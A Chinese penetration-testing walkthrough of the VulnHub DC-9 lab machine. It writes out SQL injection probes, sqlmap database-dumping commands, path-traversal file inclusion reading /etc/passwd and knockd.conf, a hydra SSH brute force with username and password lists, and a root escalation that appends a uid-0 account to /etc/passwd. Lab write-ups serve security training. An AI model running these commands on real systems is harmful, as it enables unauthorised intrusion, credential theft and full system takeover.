DC-9 靶机渗透测试实战
靶机下载地址:
https://download.vulnhub.com/dc/DC-9.zip(下载速度慢可以用迅雷下载)
一、实验环境
实验环境:
kali2024:192.168.234.145(nat模式)
靶机环境DC-9(nat模式,MAC地址:00:0C:29:6F:4B:04)
保证kali和DC-9在同一个网段
二、渗透过程演示
信息收集
打开测试靶机DC-9
使用nmap扫描整个网段
根据MAC地址得到dc-9的IP地址
接下来对该靶机进行详细的扫描
靶机开了80端口和22端口 ,但是显示22端口被过滤
访问web界面,找找找,发现search这个地方可以查询信息
这意味着与数据库产生交互,可能会有注入
这是一个post注入,查看源码发现跳转界面是results.php,表单name为search
(可以直接通过burp抓包,然后把数据包写入一个文件,在使用sqlmap)
SQL注入
点击search,也就是在search.php页面中,输入Mary' and 1=1#和Mary' and 1=2#,前者返回Mary的结果,后者为空,存在sql注入。
爆数据库:sqlmap -u http://192.168.234.169/results.php --data 'search=1' --dbs
注意--data 选项的用法
查看当前数据库:sqlmap -u http://192.168.234.169/results.php --data 'search=1' --current-db (current database: 'Staff')
查看Staff数据库中的表:sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D "Staff" --tables(发现StaffDetails表和 Users表)
查看Users中字段:sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D "Staff" -T "Users" --columns(对Password和Usename字段感兴趣)
查看Password和Username字段内容:sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D "Staff" -T "Users" -C "Username,Password" --dump (弹出的都选y,否则爆出来的密码没解密)
Username:admin
Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
解码后为admin:transorbital1
然后再爆一下StaffDetails表
sqlmap -u http://192.168.234.169/results.php --data 'search=1' -D users -T UserDetails --dump
admin登录后台
登入后发现有 File does not exist 字样,疑似有文件包含!!!
尝试文件包含
http://192.168.234.169/manage.php?file=../../../../../../etc/passwd
发现有本地文件包含(LFI)
然后接下来尝试看看有没有远程文件包含(RFI)
http://192.168.234.169/manage.php?file=http://192.168.234.162/yjh.php(在本地web根目录写一个yjh.php)
发现不允许远程文件包含!
接下来不知道怎么办了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件内容
利用 LFI 查看 /etc/knockd.conf 文件内容
knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。(将ssh隐藏了起来)
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口knochd 服务:
在使用此服务时,他人访问你的端口会显示 close 状态,只有按照特定顺序(配置文件)访问规定端口后才会开放被访问的端口,依次访问特定端口后才会关闭被访问的端口
?file=../../../../../etc/knockd.conf
使用nc敲门
hydra 爆破用户名和密码
name.dic
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin
passwd.dic
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1
命令:hydra -L name.txt -P passwd.txt 192.168.234.169 ssh
登录SSH
一个一个登录看看,有没有什么有用的东西。
ssh janitor@192.168.234.169进去看看
增加在passwd.dic后重新进行爆破
发现新增加了一个用户:login: fredf password: B4-Tru3-001
提权
使用fredf登录ssh:ssh fredf@192.168.234.169
sudo -l(查看有没有可以进行sudo提权的地方)
代码审计
判断是否有三个参数,没有的话输出Usage: python test.py read append,然后停止执行
第二个参数是读取第二个参数文件中的内容
第三个参数是把读取的内容写到第三个参数文件中(a是追加)
简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权
原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败
echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash' > /tmp/shell.txt
直接进行提权
原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0)的用户条目
使用:
首先我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下
openssl passwd -1 -salt shell 123456
echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash' > /tmp/shell.txt
sudo 执行py脚本,将生成的账户条目写入 /etc/passwd 文件中
sudo ./test /tmp/shell.txt /etc/passwd
解释:
按照linux用户机制,如果没有shadow条目,且passwd用户密码条目有密码的时候,可以本地su 使用passwd里面的密码登录。由于这个用户的uid为0,所以也是root权限
passwd文件每一行的格式如下:
用户名:密码(hash):uid:gid:说明:家目录:登陆后使用的shell
echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash' > /tmp/shell.txt
生成密码并将账号条目写入/etc/passwd文件中
su shell
可以看到在执行完指令之后直接变为了root,提权成功
补充:
引言:在Linux系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
作用:openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
示例:[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度
理解:
将 shell:::0:0::root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
计算密码( openssl passwd -1 -salt shell 123456 ):$1$shell$FWRDZvnn6nuR4MyAq/oF31
将 shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0::root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会只判断/etc/passwd 文件中的密码然后进行su切换用户